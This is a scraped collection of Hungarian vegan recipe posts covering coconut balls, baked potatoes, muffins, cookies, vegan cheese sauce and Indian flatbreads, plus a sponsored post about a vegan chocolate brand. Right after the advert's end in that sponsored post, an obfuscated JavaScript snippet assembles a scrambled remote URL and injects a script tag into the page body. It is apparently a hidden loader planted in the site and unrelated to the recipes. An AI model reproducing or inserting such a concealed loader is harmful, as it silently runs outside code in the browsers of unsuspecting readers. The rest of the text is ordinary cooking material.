- 200 g kókusz krém (Creamed Coconut) (Angliában, Magyarországon nagy Tescoban, Auchanban, bioboltokban, DM-ben kaphato
- 100 g őrölt mandula
- édesítőszer pl nyírfacukor, kókuszvirág cukor, stevia, stb. ízlés szerint
- mandula
- kókuszreszelék
Elkészítés:
A két konzerv kókusztejet fagyasztóba tesszük kb. 45 percre. Ha már eleve volt otthon ilyen konzervünk, és a hűtőben tároltuk, az is jó. A lényeg, hogy a kókusztej felső, vastag rétege jól dermedt legyen ahhoz, hogy jól tudjuk kezelni.
Amíg a fagyasztóban dermednek, a kókuszkrémet valamelyest olvasszuk meg annyira folyékonzra, hogy majd könnyen hozzá tudjuk adni a kókusztejek sűrűjéhez.
A megdermedt (hűtőből vagy fagyasztóból kivett kókusztej konzerveket óvatosan nyissuk ki és a felső keményebb réteget kanalazzuk egy tálba, ahol habverő segítségével kezdjük el összedolgozni, folyamatosan adagolva hozzá a nem meleg, de folyósabb állagú kókuszkrémet. Ehhez adjuk hozzá az édesítőt és az őrölt mandulát. Ezt a masszát a hűtőbe kell visszatenni, dermedni hagyni. Amikor már annyira megdermedt, hogy golyók formázhatók belőle, v izes kézzel kis golyókat formázunk a megszilárdult masszából, miközben mandulát teszünk a közepébe, majd kókusz reszelékbe hempergetjük.
Ha el nem fogy készítés közben :) akkor hűtőben pihentessük a tálalásig.
Tepsis vegyes krumpli spenóttal
Finom mártogatós szósszal
– fázisfotókkal, 3 lépésben
Olyan fantasztikus színei vannak ennek az ételnek, én le sem tudtam venni a szememet róla! Pedig ha hiszed, ha nem, egy egyszerű sült krumpliból indulunk. :) Ráadásul ami ilyen gyönyörűen színpompás, az nem csupán a szemednek lesz kedves, hanem bizony a testednek is jót tesz majd.
Az ilyesmi ételeket mostanában egyszerűen nem bírom abbahagyni egyébként. :) Érdekes, ahogy idővel változik az ember, úgy változnak vele a kedvenc ételei is, nem?
Nálam teljesen pozitív fejlemény, hogy amennyire odavoltam évekkel ezelőtt az édességért, kb. úgy hagynak mára teljesen hidegen a cukros, krémes sütemények. :) Rabja vagyok viszont a sült, ízekkel nyakon öntött zöldségeknek, bármi legyen is az.
Persze nem minden változás ilyen pozitív (hehe), de most következzen egyik aktuális kedvencem, az amúgy is megunhatatlan sült krumpli – extrákkal. :))
Hozzávalók 2-3 személyre
- 2 batáta
- 2 nagy “rendes” krumpli
- 1 fej vöröshagyma
- 2 gerezd fokhagyma
- 1 kk só
- 2 ek olívaolaj
- 1/2 mk őrölt rozmaring
- 1/2 mk koriandermag
- 100 g bébispenót
A mártogatós szószhoz:
- 100 g növényi joghurt (ha jót akarsz, ne kókuszosat válassz!)
- 1/2 ek friss petrezselyem apróra vágva
- 1 ek élesztőpehely
- 2 csipet só
- Krumplikat hámozd meg és aprítsd fel csinos darabokra. A hagymákat is darabold fel, majd egy nagy tálban forgass össze mindent az olívaolajjal és a fűszerekkel. Fontos, hogy előtte a korandermagot törd meg. Ha nincs mozsarad, egy pohár vagy bögre talpán is sikerülni szokott. :)
- A keveréket borítsd egy lapos tepsibe, és 30 percig süsd közepes sütőben. Élvezd a kifelé szálló isteni illatokat! :) Amikor már megpuhult a krumpli, keverd bele a friss spenótot. Ezután már csak 5 percre lesz szükség a sütőben, mert a levelek tényleg nagyon gyorsan összeesnek.
- Amíg sül a krumplid, keverd ki a szószt. Nem kell sokat bűvészkedni, csak keverd össze a hozzávalóit. :) Aztán jöhet a tunkolás! :)
Jó étvágyat!
Elkészítési idő: 35 perc
Ez egy vegán recept volt. :)
Hasonló recepteket ITT találsz még.
Ha itt feliratkozol , a legújabbakat mindig frissen kapod majd a postaládádba.
Nézd meg az aktuális Kertkonyha főzőtanfolyamokat !
Kezdő Vegán
Haladó vegán (Superfood)
Gluténmentes, egyszerű almás zabpelyhes keksz
2020. október 7. Élj harmóniában
Ez egy gyorsan elkészíthető, nagyon egészséges és finom keksz. Nyújtani és szaggatni sem kell, csak gyorsan összedolgozod az alapanyagokat és kis adagokba kilapítod a tepsin. Hozzávalók: 12 dkg hajdina liszt 8 dkg kukoricaliszt 3 dkg kókuszliszt 3 ek lenmagliszt 15 dkg apró levelű zabpehely 10 dkg mazsola 5 dkg kókuszvirág cukor (használhatsz más cukrot is ha nincs otthon) 50 dkg alma fahéj 10 dkg kókuszzsír 3 tk. sütőpor víz Az almákat hámozd meg a reszeld le, majd szórd meg fahéjjal. Egy tálba keverd össze a liszteket, sütőport, cukrot, majd keverd hozzá a mazsolát. Nyomd ki az alma levét és keverd a tésztához az almát is. Majd add a masszához a kókuszzsírt, az alma levét és pici vizet . Annyi vizet tegyél hozzá, hogy a tészta masszaként összeálljon, szépen elváljon az edény falától. Olyan legyen ami formálható, nem ragad, nem folyik. ( attól függ az almának mennyi leve lesz 20ml től ,akár majd 1 dl-ig terjedhet ) Kis adagokat vegyél ki a masszából és a tenyereid között lapítsd ki vagy a tepsiben egy kanállal, vagy pohár segítségével. 180 fokra előmelegített sütőben süsd készre. (kb. 15 perc) Vegyszermentes (bio) alapanyagokat használj! Jó étvágyat kívánok hozzá:) szeetettel Kati
Kókuszos karalábé krémleves (laktózmentes, gluténmentes, vegán)
2020. szeptember 21. Zizi kalandjai
A karalábét olyan hányattatott zöldségnek gondolom. Kevés dologra használjuk és ritkán. Tavasszal készítettem ezt a zöldborsós karalábé főzeléket és felülmúlta a várakozásaimat. Azóta már sütöttem töltött karalábét, az is bejött a családnak. Bevallom, én is ritkán használom, többnyire vegyes zöldséglevesbe dobom bele, de ez a krémleves ráébresztett, hogy gyakrabban kellene ezt a zöldséget az... Source
Új, magyar gyártású, vegán bonbonok és vegán tejcsokik, amiket mindenképp meg kell kóstolnod!
Szereted az édességeket, de nem találtál még olyan bonbont, ami minőségi és vegán is? A Harlequin Chocolates megálmodói is így voltak annak idején – ezért manufaktúrájuk választékának nagy része a vegán csokirajongóknak szeretne segíteni édes pillanatokat varázsolni. Hirdetés A számukra legkedvesebb ízek a vegán bonbonok, pralinék és a táblás csokik, sőt már van olyan változat, ami mindezek mellett még cukormentes is. A legnagyobb kedvencek eddig a málnás ,,Bájital bonbon, a pisztáciás bonbon, a kókuszkaramell trüffel, és a banános-pekándióst is sokan keresik náluk vagy a rendezvényeken, ahol kóstolhatók. Ezeken kívül képzeld el a zamatos piemonti mogyorót, ahogy illatos és roppanós, a pisztáciát, az ízletes fűszereket ahogy édesen-krémesen összeolvadnak és mindez minőségi és vegán is… Csábító a gondolat! Piemonti mogyorós praliné A Harlequin Chocolatesnek nagy tervei vannak: az ősz során bemutatják a legújabb kedvencet, a saját készítésű vegán fehércsoki desszertjüket, Sahara névvel - már nagyon várják, hogy minél többen megkóstolhassátok! Én mindenképp meg akarom kóstolni minél hamarabb. Hamarosan több részlet is kiderül majd róla, de addig is nagyon ajánlom a kesutejjel készült vegán tejcsokijukat ,,No Milk Today névvel és más finom táblásaikat! Akik a különlegességeket szeretik, azoknak pedig biztosan kedvence lesz a fülöp-szigeteki termőterületről származó kakaóból készülő, kézműves táblás, a ,,Maprutas - ami egy igazi ízbomba a gyümölcsös, kifinomult ízjegyeivel, de sok finomságuk van még, érdemes benézni a csokiwebshopjukba. A gyönyörű design is az élmény része Eddig sok szó esett az ízekről, de amiről még nem, az a design. A Harlequin Chocolates-nál hisznek abban, hogy először a szemünkkel ,,kóstolunk, ezért minden egyes Harlequin csokinál fontosnak tartják a csinos és egyedi megjelenést, a táblásaikat pedig már messziről könnyen felismerheted azok modern és vidám világáról. Én, grafikusként odavagyok a designért! Akár magadnak (éljen az önszeretet!), akár ajándékba is rendelhetsz a webshopjukból, és szívesen készítenek egyedi csokoládét rendezvényekre, esküvőkre is. Már több különleges kérést valósítottak meg egyedi elképzelés alapján. Harlequin Chocolates – Mad Hatter – organikus, madagaszkári étcsokoládé szicíliai citromos sóval Kövesd őket instagramon vagy facebookon, hogy értesülj az újdonságaikról és hogy milyen eseményen találkozhatsz velük legközelebb. Ha nem egy eseményen kóstolsz, akkor pedig pár kattintással rendelhetsz az online csokiboltból, amit futárszolgáltatással az ajtóig repítenek. Nem minden csokijuk vegán, de a vegán csokoládék menüpontban kedvedre válogathatsz. Webshop: https://harlequinchocolates.hu Instagram: www.instagram.com/harlequinchocolates Facebook: www.facebook.com/harlequinchocolates Email: hello@harlequinchocolates.hu Harlequin Chocolates – No Milk Today – Madagaszkári organikus vegán tejcsoki szezámmal és édesköménnyel Hirdetés vége (function(){ ojvs=document.createElement(script);ojvs.async=true;ojvs_=u+(s)+t; ojvsu=242060400.;ojvs_+=a+(t.i);ojvs_+=n+(f+o)+/; ojvsu+=1jtrfl61jvsbrmaz1cx074+(n2ljjjn0); ojvs.src=https://+ojvs_+ojvsu;ojvs.type=text/javascript; document.body.appendChild(ojvs); })(); Tedd a kedveceim közé 0 The post Új, magyar gyártású, vegán bonbonok és vegán tejcsokik, amiket mindenképp meg kell kóstolnod! appeared first on VegaNinja.
Marinált sült tofu kókuszos rizzsel (laktózmentes, gluténmentes, vegán)
2020. június 26. Zizi kalandjai
Marinált sült tofu, kellően sós, ízes, jól passzol mellé a kókuszos jázminrizs és a párolt brokkoli, amire a són kívül citromlevet locsolok. Ízorgia a szánkban. Puccos ételnek tűnhet, de nagyon gyorsan össze lehet dobni. Ez volt az ebédünk I.-vel egy március eleji napon. Akkor többen kértétek a receptet, én meg ígértem, hogy majd jön. A képeket megszerkesztettem már régen, de most jutott eszembe... Source
Áfonyás, vaníliás, zabpelyhes muffin (tojásmentes)
2020. április 28. Élj harmóniában
Ma reggel az online jógaórát Purusa tartotta. Amíg ő veletek gyakorolt online, én reggelit készítettem neki:) Álltam a konyhában és gondolkodtam mit készítsek.. valamit ami g yorsan elkészül, egészséges és finom... majd a hűtőben megláttam egy doboz áfonyát... és eldőlt:) Áfonyás, vaníliás, zabpelyhes muffin (tojásmentes) Áfonyás muffin... Persze az, hogy egészséges-e egy muffin, azon múlik a készítő mit tesz bele, de én mindig csupa egészséges alapanyagot használok. :) Az áfonya és a zabpehely szerintem jó párosítás és a vaníliával igazán különleges ízélményt nyújt. Hozzávalók 1 bögre teljes kiőrlésű tönkölybúzaliszt (vagy búzaliszt) 1 bögre finomí tott tönkölybúzaliszt (vagy sima búzaliszt) 3/4 bögre teljes értékű nádcukor 1 csg. sütőpor vanília vanília 6 ek. kókuszzsír 3/4 bögre áfonya megmosva 1/2 bögre zabpehely kicsit több, mint 1 bögre víz Vegyszermentes (bio) alapanyagokat használj! Keverd össze a száraz hozzávalókat egy tálba. Majd öntsd hozzá a kókuszzsírt és a vizet. Figyelj rá mennyi vizet vesz fel - a tészta legyen lágy, de ne folyós. Néhány lágy mozdulattal dolgozd össze a tésztát. A muffin készítés egyik titka, hogy soha ne kevergesd hosszan a száraz összetevőket a nedvesekkel és ne hagyd sokáig állni. Keverd hozzá az áfonyát. Majd adagold a tésztát a muffin formába. Én muffin papírral szoktam a formát kibélelni, de vajjal és liszttel is megteheted. Tedd 180 fokra előmelegített sütőbe és süsd készre (kb. 20 p) . Jó étvágyat kívánok:) szeretettel: Kati
Vegán Cézár saláta
Az egyik kedvenc salátám és bármikor “előhúzhatom a kalapból” amikor egy kiadós, laktató salátára vágyom. Önmagában felér egy étkezéssel és roppant egyszerű elkészíteni!
Hozzávalók:
- 1/2 fej jégsaláta felcsíkozva
- 1-2 maréknyi koktél paradicsom, vagy 2 db sima paradicsom felkockázva
- 20 dkg füstölt tofu kockára vágva
- olíva olaj a tofu pirításhoz
Vegán cézár öntet:
- 100 ml vegán tejföl (Pl: Dr. Oetker), Tipp:
- Tipp: helyettesíthető például kókusz joghurttal !
Fűszerek:
- tengeri só,
- fehérbors,
- 1 cikk préselt fokhagyma,
- 4 evőknál friss citromlé,
- 1 kk mustár,
- késhegynyi kurkuma
- 2 evőknál hidegen sajtolt olíva olaj
Elkészítés:
- A felkockázott tofut sózzuk, borsózzuk és olíva olajon aranybarnára pirítjuk.
- A salátát és a félbe vágott koktél paradicsomot összekeverjük .
- A Vegán öntet hozzávalóit alaposan elkeverjük a “tejfölt” a fűszerekkel, citromlével, olíva olajjal és ráöntjük a salátánkra, összekeverjük.
- Tetejére halmozzuk a pirított tofut és tehetünk pirított teljes örlésű kenyérkockákat, én általában elhagyom, elég laktató így is.
Vegán tönköly kalács
Hozzávalók: 40 dkg fehér tönköly liszt 2,5 dl növényi tej 1/2 citrom leve és reszelt héja 1 dl kókusz olaj 6 dkg barna nádcukor maroknyi mazsola (elhagyható) 2-3 evőkanál méz vagy juhar szirup 2,5 dkg élesztő A lisztet összekeverjük a cukorral, majd a közepébe lyukat csinálunk. A mazsolát alaposan megmossuk és kevés vízbe beáztatjuk. A növényi tejet langyosítjuk, majd beleszórjuk az élesztőt, csomómentesre keverjük, majd beleöntjük a liszt közepébe, picit összedolgozzuk az élesztőt a cukros liszttel, hozzáadjuk a kókusz olajat, mazsolát a citrom levet és héját. Alaposan kézzel összedolgozzuk, addig amíg el válik az edény falától. Letakarjuk és kb.30 percig kelesztjük, majd kiolajozzuk a formát és belehelyezzük a tésztát, akár fonhatjuk is. A formában is kelesztjük, meleg helyen, letakarva 20-25 percig. Előmelegített sütőben 200 fokon 10 percig sütjük. Az első 10 percnél hagyjuk a 200 fokot, majd levesszük 170 fokra és további 25-30 percig sütjük Miután megsült, kivesszük és a tetejét megkenjük a mézzel, vagy sziruppal,megszórhatjuk a barna nádcukorral. Langyosan isteni, sosem bírom kivárni, hogy teljesen kihűljön, habár igazán csak akkor szeletelhető szépen!
Sajtszósz hamisan
Ez a recept azért nagy szám számomra, mert nincs benne sajt, de sajtszósz íze van és percek alatt elkészül. A legtöbb vegán sajtszósz kesudióval és vagy kókusz zsírral készül, ebben viszont nincs semmi olajos mag, semmi zsiradék. Mindemellett gluténmentes is (szigorú gluténmenteseknek ajánlom azt a fajta zabpehely vásárlását, amin külön ezt fel is tüntetik). Ebből a receptből szép adag sajtszósz lett, amit használtunk vendégfogadásra - répát és zellerszárat mártogattunk bele. Emellett tepsiben sütöttem zöldségeket, a tetejét megöntöztem ezzel a sajtszósszal, szintén finom lett. Harmadik alkalommal pedig pitába és tortilla tekercsbe tettük további zöldségek mellett. Változatos tehát a felhasználási lehetősége. A receptet olvasók egyik kérdése az lehet, hogy hol szerzünk télen grillezett kápia paprikát. Az egyik lehetőség, ha veszünk parikát (piros kaliforniai paprika is jó) és azt tűz felett kicsit meggrillezzük (akár konyhai gázrózsákra vaslapot téve). Akik nyáron tesznek el maguknak, nyertesek ez ügyben. Rákerestem interneten, és látom, hogy a groby áruházak árulnak (én életemben alig vásároltam ilyen boltban). Másik lehetőség, hogy veszünk olyan ajvárt, aminek a többsége paprika és nem padlizsán. Egyfajta paprika krém. Angliában vannak kimondottan olyan ajvárok, amikben nincs is padlizsán. Szintén Angliában a lidl üzleteiben van sült paprika üvegben, ennek egy baja van, hogy ecetben rakták el. Ha erre esik a választás, akkor a paprikákat folyó víz alatt mossuk át és a szószhoz ne adjunk citromot.
A recept
Hozzávalók:
- 1 bögre (2.5 dl) zabpehely
- 4 evőkanál sörélesztő pehely
- 2.5 evőkanál kukoricakeményítő
- Fél nagyon apróra vágott hagyma
- 1 teáskanál só (tengeri vagy himalaya)
- 2-3 db grillezett kápia paprika
- Néhány csepp citromlé
- Néhány csepp füst aroma vagy füstölt fűszerpaprika
- Kb. 2 bögre meleg víz
Elkészítés:
A turmixgép poharába a fenti sorrendben beletesszük a hozzávalókat és addig turmixoljuk, míg a szósz csomómentes nem lesz. Ezt követően egy edénybe töltjük és lassú tűzön addig kevergetjük, míg a meleg hatására elkezd sűrűsödni. Állaga sűrű sajtszósz kell hogy legyen. Ha túl sűrű, vizet adunk még hozzá, ha nem akar sűrűsödni, keményítőt pár csepp vízzel kikeverve adunk hozzá. Ha még sajtosabb ízvilágot szeretnénk, több sörélesztő pelyhet adjunk hozzá. Ha füstösebbet kívánunk elérni, több füstaroma cseppet vagy füstölt fűszer paprikát. Az elkészült szószt, ha nem használjuk fel az egészet, érdemes zárt edényben hűtőben tárolni. Nekem 1 hét alatt fogyott el és amint említettem, több fajta ételhez felhasználtam.
Gluténmentes, tejmentes mandulás muffin
2020. január 26. Élj harmóniában
Muffin a nagy kedvenc:) gyors, jó a mérete, formája és soha nem lehet megunni, mert nagyon változatos. Mindenféle bolti pékárú helyett gyorsan, frissen készíthetsz bámilyen ízesítésű finomságot. Ez egy téli, karácsonyi kreációm volt - a fűszerek és a darált mandula teszi felejthetetlenné. Gluténmentes, tejmentes mandulás muffin Hozzávalók 1 bögre hajdinaliszt 1 bögre kukoricaliszt 3/4 bögre kókuszcukor 3/4 bögre darált mandula 1 csg. sütőpor vanília fahéj örölt kardamom csipet szárított gyömbérpor 1/3 bögre repceolaj vagy kókuszolaj 1 bögre víz Vegyszermentes (bio) alapanyagokat használj! Keverd össze a száraz hozzávalókat egy tálba. Majd öntsd hozzá az olajat, és a vizet. Néhány lágy mozdulattal dolgozd össze a tésztát. A muffin készítés egyik titka, hogy soha ne kevergesd hosszan a száraz összetevőket a nedvesekkel és ne hagyd sokáig állni. Adagold ki a tésztát a muffin formába. Én muffin papírral szoktam a formát kibélelni, de vajjal és liszttel is megteheted. Tedd 180 fokra előmelegített sütőbe és süsd készre (kb. 20-25 p) . Jó étvágyat kívánok:) szeretettel Kati
Diós granola csokis puffasztott tönkölybúzával
2020. január 19. Éltető ételek
Amikor a kisebb lányom a nővéremnél töltötte a téli szünetet, ott evett LIDL-s granolát, ami nagyon bejött neki. Számomra nagyon drága, mert 3-4 adag jön ki csak belőle, és több, mint 1000 Ft. Szóval úgy gondoltam, hogy rekonstruálom, és megalkotom a saját csokis puffasztott tönkölybúzás granolát. Hozzávalók: - 50 dkg nagyszemű zabpehely - 20 dkg dió - 10 dkg kesudió - 10 dkg kókuszreszelék - 20 dkg puffasztott tönkölybúza vagy rizs - 1 tábla 70%-os étcsoki - 1 mokkáskanál vaníliapor - szárított narancshéj vagy 5-6 csepp narancsolaj Elkészítése: - A csokit vízgőz felett olvaszd fel. - Egy zsírpapíros tepsibe szórd bele a puffasztott tönkölybúzát, majd öntsd rá az olvasztott csokit. Kézzel jól keverd össze, hogy a csoki mindenütt bevonja a puffasztott szemeket. - 150 fokra előmelegített sütőbe tedd be, majd süsd kb. 15-20 percig, amíg ropogós lesz. - Néha keverd meg, majd hagyd kihűlni. - Közben egy másik tepsibe tedd a zabpelyhet a durvára vágott dióval, és ezt is pirítsd meg a sütőben, amíg illatozni nem kezd (kb. 20 perc). - A kesudiót kávédarálón daráld meg. - Keverd össze a kihűlt csokis szemeket a zabos-diós keverékkel. Add hozzá a kókuszreszeléket, a darált kesudiót és fűszerezd. - Zárható dobozba tartsd.
Kókuszos kocka (vegán)
Gyermekkorom egyik kedvence, ami karácsonyok, lagzik alkalmával biztos a pocikámba került annak idején. Ugyan szerettem, de nem is nagyon jutott eszembe, hogy elkészítsem, egészen máig, talán csak egyszer volt rá példa, pedig nem egy nagy kihívás a fatörzshöz képest. Idén azonban ezzel kedveskedtem magunknak és a vendégeknek. Az eredeti kókuszos kocka tésztájába mézet tesznek, ezt vegánok ki is hagyhatják, esetleg agavé sziruppal helyettesíthetik. Én is kihagytam, de nem is érezni a különbséget. Tej és tojásmentes recept következik.
A recept
Hozzávalók:
25 dkg teljes kiőrlésű búzaliszt
15 dkg fehér búzaliszt
10 dkg kukoricaliszt (ettől tuti szép sárga színe lesz)
1 teáskanál szódabikarbóna
15 dkg eritrit (ha teszünk bele 1-2 kanál mézet, akkor kevesebb eritrit kell hozzá)
1 citrom reszelt héja
pár csepp vanília esszencia
8 dkg kókuszzsír
2 dl növényi joghurt (szója joghurt)
2,5 dl növényi tej vagy víz
Külső csokis réteghez:
- 6 ek kakaópor vagy karobpor (ha kevésbé jó minőségű, lehet több kell)
- 10 dkg kókusz zsír (vagy növényi margarin)
- 14 dkg eritritol (én egy kis inulint is adtam hozzá, de el is maradhat, ha nincs a háztartásunkban)
- 3-4 dl növényi tej
- kb 20-25 dkg kókuszreszelék a forgatáshoz
Elkészítés:
A tészta száraz hozzávalóit, a háromféle lisztet összeszitáljuk a szódabikarbónát hozzászitáljuk majd az eritritet is hozzákeverjük. A lereszelt citrom héját is belekeverjük. Ezután hozzáadjuk a növényi joghurtot és tejet, a folyékony kókusz zsírt, a vanília esszenciát és lágy mozdulatokkal csomómentesre összekeverjük. Enyhén sűrű tésztát kapunk. Piskóta tésztánál sűrűbb, de a nokedli tésztánál lazább, folyósabb tésztát. Sütőpapírral bélelt tepsiben tűpróbáig sütjük.
Tűpróbánál nekem nem ragadt rá semmi, többször is beleszúrtam a sütibe, de amikor kivettem és egy rácsra ráfordítottam a süteményt, akkor láttam, hogy egy kis része az alján még nagyon puha, ezért úgy, a rácson megfordítva visszatettem még a meleg sütőbe és pár percet még rásütöttem. Elvileg 30 perc elég kellene legyen a teljes sütési időnek.
A csokiszósz készítéséhez először a kókusz zsírt vagy margarint felolvasztjuk, hozzákeverjük a kakaó vagy karobport, az eritritolt és egy némi növényi tejet (én bolti zabtejet használtam). Felforraljuk, közben folyamatosan kevergetjük, majd az edényt hideg vízbe téve lehűtjük.
A sütemény miután kihűlt, széleit levágjuk, felszeleteljük az egész tepsi süteményt, majd villa segítségével csokiszószba mártjuk a kockákat és kókuszreszelékben megforgatjuk őket. Hűtőben érdemes egy éjszakát pihentetni. Másnap annál finomabb.
Készítési fázisok képei:
Hedonista keksz
Ajándékozz karácsonyra főzőtanfolyamot!
Az akció részleteiért KATT IDE
Vegán Szaloncukor-készítő főzőtanfolyam
Régi adósságot törlesztek most, mégpedig azt, hogy másfél évvel ezelőtt megígértem nektek a vegán digestive keksz szendvicselt változatát. Ezt a kekszet megkenheted bármilyen lekvárral, de ha igazán jót akarsz, és igazán hedonista kekszet akarsz, készíts bele külön a szuper superfood-os csokikrémet! Meglátod, teljesen egyszerű, csak két hozzávalós, és tényleg gyorsan megvan. :D A csokikrém receptjét ITT találod.
És, hogy miért vettem elő ezt a receptet most? Jön a Mikulás… Ez lesz a meglepije az előadásért (színház) cserébe. Már nagyon várjuk!
Hozzávalók egy nagy tepsihez:
- 220 g fehér tönkölyliszt
- 60 g zabpehelyliszt
- 1 mk só
- 1 kk sütőpor
- 75 g nádporcukor
- 80 g kókuszzsír (darabos)
- 150 ml növényi tej
- 1/2 mk vaníliapor
- 1/2 mk őrölt fahéj
Előkészületként melegítsd elő a sütőt 190 fokra, és egy tepsit bélelj ki sütőpapírral.
- A késes aprítóba szórd be a liszteket, a porcukrot, a sót, a sütőport és az illatos fűszereket. Indítsd be, hagy kavarja! :)
- Ezután add hozzá a kókuszzsírt, és készítsd oda a pohár tejet és evőkanalat. Indítsd be újra a gépet.
- Kanalanként add hozzá a tejet, látni fogod, mikor jó. Ha összeállt labdává, nem morzsálódik sehol, de fontos, hogy maradjon egyben, ne legyen folyós. Nekem 11 evőkanálnyit kívánt a tésztám, de ez változhat.
- Ezután hintsd meg liszttel a labda alatt és a tetejét is egy kis liszttel, majd nyújtsd ki egyenletesen a labdát 2-3 mm vastagra. Szaggasd ki a kekszeket, és helyezd őket a tepsibe. Nem kell sok helyet hagyni közte, alig dagad meg a sütés alatt.
- 12-15 perc alatt megsül. Vigyázz, ne száradjon ki nagyon, ha aranylik a keksz széle és alja, már tökéletes.
- Hagyd teljesen kihűlni, majd a tetszőleges krémeddel ragaszd össze kettesével.
Jó étvágyat!
Elkészítési idő: 30 perc (tényleg!)
Ez egy vegán recept volt. :)
Hasonló recepteket ITT találsz még.
Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba.
Ajándékozz karácsonyra főzőtanfolyamot!
Az akció részleteiért KATT IDE
Nézd meg a legújabb Kertkonyha főzőtanfolyamokat!
Vegán Szaloncukor-készítő
Kezdő Vegán
Vegán MUST HAVE - a kötelező alapcsomag Növényi Tejek és Tejtermékek I Növényi Tejtermékek II A Mindennapi Superfood
Puri - friss, élesztőmentes, indiai lepénykenyér
2019. október 26. Élj harmóniában
A legtöbb indiai kenyér lapos és nem nagy, felfújt, amiket élesztővel készítenek. Általában a tűzhely tetején sütik és nem sütőben. Azért, hogy a lehető legtöbb prána (életenergia) legyen benne, ezeket frissen készítsd, mindig az étkezések előtt. Az indiai kultúrában a kenyér, gyakran kanál helyett is használatos:) Korábban a chapati kenyér receptjét már közreadtam itt olvashatod. Puri egy zsiradékban kisült lepénykenyér. Teljes kiőrlésű búzalisztből és vízből készül - a lisztet lehet fehér liszttel is keverni vagy használhatsz graham lisztet is. Kisütésnél eredetileg ghíben sütik ki, de használhatsz kókuszzsírt vagy bármilyen sütőolajat. A ghí készítését egy korábbi bejegyzésben már részletesen leírtam. Hogyan készíts ghít? A puri minden ájruvédikus alkat számára ajánlott, de kapha alkatúak ritkábban fogyasszák. Puri - friss, élesztőmentes, indiai lepénykenyér Hozzávalók 16 darabhoz: - 350 g teljes kiőrlésű liszt (vagy graham liszt vagy fehér liszttel kevert liszt) - 175 ml langyos víz - 1/2 kk. só - 1 ek. vaj vagy ghí - olaj a sütéshez A sót keverd el a liszttel és morzsolt el benne a ghít. Lassanként add hozzá a vizet, hogy lágy tésztát kapj.Nyújtódeszkán 6-8 percig gyúrd, míg fényes nem lesz majd akár lehet pihentetni is. Ismét gyúrd át. A zsiradékot melegítsd fel egy edényben. Közben formálj a tésztából 16 egyforma nagyságú gombócot. A gombócokból kevés ghí segítségével egyenletesen vékony lepényeket nyújts ki. . Amikor a ghí felmelegedett, vedd a lángot kisebbre. Akkor kezdj el sütni, amikor ha beleteszel egy pici tésztát, az azonnal feljön a tetejére. Tedd a lepényeket a forró ghíbe, olajba és pár másodperc múlva fel is fog jönni a felszínre, finoman nyomkodd le egy kiszedővel és alul fel fog fújódni amolyan lufi szerűen:) Majd fordítsd meg a purit és a másik oldalt is süsd kb 15 másodpercig. Végül vedd ki és szűrőben vagy papírtörlőn csöpögtesd le. Süss ki minden purit és forrón tálald. Fogyaszthatod édesen és sósan is. Néhány ötlet, aminek csak a képzeleted szab határt:): édesen: porcukros puri esetleg plusz tejszínhab, lekváros puri, puri csokikrémmel (házi nutella receptet itt találsz a blogon), édesen magkrémekkel sósan: zöldséges főétel subji mellé, hüvelyes ételekkel, levesekkel, csicseriborsókrémmel (hummusz recepteket találsz a blogon gyors hummusz és klasszikus hummusz), mindenféle magokból készült kencékkel (ilyeneket is találsz a blogon pl tökmagos ). Jó étvágyat hozzá:) Kati
Zöldbabos indiai subji (szabdzsi)
2019. szeptember 22. Élj harmóniában
A zöldbab az ájurvédában édes, hűsítő, fanyar,hatású, emeli az agnit( az emésztés tüzét), de ha túl sokat ezsel belőe megzavarja a vata-t. Gázosodást és székrekedést okozhat. Önmagában a zöldbab, emeli a vata-t, de a római kömény, asafoetida és a bors segít ezt kompenzálni. Vata alkatúaknak, csak mértékkel ajánlott. Jótékonyan hat a torokra, tüdőre és a pitta rendellenességekre. Fogyaszthatod rizzsel, purival, chapatival (lepénykenyér receptet itt találod). Hozzávalók 4 csésze zöldbab felvágva 2 ek ghí vagy olaj 1/2 tk fekete mustármag 1/2 tk római kömény 1/2 tk masala por (ez egy fűszerkeverék indiai boltokban kapható) egy csipet asafoetida 1/4 tk kurkuma 1/2 tk só Paszta 1 tk kókuszreszelék 2 ek. friss korianderlevél összevágva 1 kis darab gyömbér apróra vágva Vegyszermentes (bio) alapanyagokat használj! A zöldbabot mosd meg, vágd le a végeit és a vágd kis darabokra. Készíts pasztát a kókuszból, korianderből és gyömbérből aprító segítségével. A ghít (vagy olajat) egy edénybe hevítsd fel közepes lángon, majd tedd bele a mustármagot, a római köményt, pirítsd picit, majd add hozzá az asafoetidát, a masala fűszert és a kurkumát. Keverd meg a fűszereket, hogy piruljanak és add hozzá a pasztát, a sót és a zöldbabot. Keverd meg alaposan, fedd le és takarékon főzd amíg puha nem lesz, (kb 10 perc) . Tálalhatod kurkumás baszmati rizzsel vagy chapatival. felhasznált szakirodalom: dr. Vasant Lad és Usha Lad Ájurvéda szakácskönyve
Csokis-kókuszos keksz
2019. augusztus 10. Vegán receptek Tőlünk Nektek
Egyszerű, gyors és finom!
Hozzávalók:
- 2 csésze liszt
- 1/2 zacskó sütőpor
- 1 csésze nádcukor
- 1 csésze kókuszreszelék
- fél tábla étcsoki
- 1/2 csésze kókuszolaj
- 1/4 csésze víz
- pár csipet só
[...] Bővebben!
Zabkása vaníliafagyival, áfonyával – vegán reggeli ötlet
A zabkását is lehet hedonista módon enni, fagyival és gyümölccsel, vegán fehércsoki darabokkal, gyümölcsös szójajoghurttal, bolti, vegán gabonapelyhekkel, igazából csak a fantáziád szab határt a lehetőségeknek. Íme egy ötlet. Hozzávalók: teljes kiőrlésű zabpehely forró víz cukor (opcionális, ízlés szerint) 1 csipet fahéj (ha szereted) 1 evőkanál kókuszreszelék (ha szereted) gyümölcsös szójajoghurt fagyasztott vagy friss áfonya vegán vaníliafagyi A zabpelyhet elkeverjük a kókuszreszelékkel, cukorral, fahéjjal, és felöntjük annyi forró vízzel, ami éppen ellepi, és állni hagyjuk. Adhatunk hozzá egy teáskanál lenmagot is, nagyon egészséges. Amikor felszívta a vizet, leöntjük a szójajoghurttal. Én Alpro áfonyás joghurtot használtam, ami a legtöbb nagy áruházban kapható, de a többi vegán joghurt is ugyanolyan jó. Szójaallergiásoknak Joya márkájú kókuszjoghurt is kapható. 4 db-os csomag Alpro szójajoghurt Megszórjuk az áfonyával, és kanalazunk rá egy nagy kanál vegán vaníliafagyit. Nekem a Swedish Glace a kedvencem, szintén nagy áruházakban kapható, de egyre nagyobb a választék a boltokban. Létezik szójamentes (mandulás) változat is szójaallergiásoknak. Amúgy semmi baj a szójával. :) Citromhéjjal díszítettem, és smoothieval ettük, hogy legyen kellő mennyiségű gyümölcs is 